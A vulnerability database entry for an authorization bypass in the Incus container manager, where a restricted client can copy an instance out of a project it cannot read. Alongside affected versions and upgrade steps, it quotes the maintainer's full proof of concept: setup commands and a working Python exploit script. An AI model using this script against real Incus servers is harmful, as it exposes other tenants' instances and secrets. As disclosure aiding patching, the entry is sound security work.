---
id: "CVE-2026-55622"
kind: "vulnerability"
aliases: ["CVE-2026-55622", "GHSA-c9f5-j9c3-mhrg"]
title: "Incus has a project restriction bypass in instance copy across projects"
severity: "high"
cvss: 7.7
epss: 0.0034
exploited: false
status: "open"
category: "package"
products: [{"name": "github.com/lxc/incus/v7/cmd/incusd", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}, {"name": "github.com/lxc/incus", "fixed": [], "affected": "> 0", "ecosystem": "go"}, {"name": "github.com/lxc/incus/v6", "fixed": [], "affected": "> 0", "ecosystem": "go"}, {"name": "github.com/lxc/incus/v7", "fixed": ["7.2.0"], "affected": "< 7.2.0", "ecosystem": "go"}]
ecosystems: ["go"]
tags: ["cwe-284", "incus", "linux-containers", "package", "self-hosted"]
not_affected_if: ["incus-7.2.0-or-later", "no-remote-api", "unrestricted-clients-only"]
published_at: "2026-08-21T15:16:42+00:00"
first_seen_at: "2026-11-05T17:49:13+00:00"
updated_at: "2026-11-05T18:09:59+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-c9f5-j9c3-mhrg", "first_seen_at": "2026-11-05T17:49:13+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55622", "first_seen_at": "2026-11-05T18:09:59+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.0034, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-55622"}]
---

# Incus has a project restriction bypass in instance copy across projects

Incus, a system container and virtual machine manager, does not check whether a caller can read the source project when copying an instance. A client with a restricted certificate can copy an instance from a project it cannot access into a project it can use, then move the copy to another server, which can expose its secrets.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- go:github.com/lxc/incus/v7/cmd/incusd affected < 7.2.0 fixed 7.2.0
- go:github.com/lxc/incus affected > 0 fixed no fixed version listed
- go:github.com/lxc/incus/v6 affected > 0 fixed no fixed version listed
- go:github.com/lxc/incus/v7 affected < 7.2.0 fixed 7.2.0

## How to check

- Run `incus --version` on each Incus server and compare against the fixed version
- Check whether any client certificates are restricted with `incus config trust list` and review their project lists

## Fix

- Upgrade Incus Go module `github.com/lxc/incus/v7` and `cmd/incusd` to `7.2.0` or later

## Timeline

- 2026-11-05T17:49:13+00:00 ghsa https://github.com/advisories/GHSA-c9f5-j9c3-mhrg
- 2026-11-05T18:09:59+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-55622

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/lxc/incus/security-advisories/GHSA-c9f5-j9c3-mhrg
- [advisory] Maintainer's advisory: github.com https://github.com/lxc/incus/security/advisories/GHSA-c9f5-j9c3-mhrg
- [fix] Patch: github.com https://github.com/lxc/incus/pull/3542
- [fix] Patch: github.com https://github.com/lxc/incus/commit/1e3ffc53a10950e55de62ac1e0d612be597b84eb
- [fix] Release: github.com https://github.com/lxc/incus/releases/tag/v7.2.0

## From the sources

### Summary
Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

### Details
`cmd/incusd/instances.go` authorizes `POST /1.0/instances` against the target project. In the copy path, `cmd/incusd/instances_post.go` then loads the source instance from `req.Source.Project` without checking whether the caller can view that source instance.

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

### PoC

#### Setup

Assumes the target server is remotely accessible and a user/certificate has been added.

```
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus ls remote:
```

#### Exploitation

The below script was partly generated. To copy the `secret` instance to the `default` project, the following command can be used.

```
python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-instance secret --name copy-secret --insecure
```

Wait a bit for the instance to be copied, then `incus ls remote:` to see the copied instance.

```
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

### Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_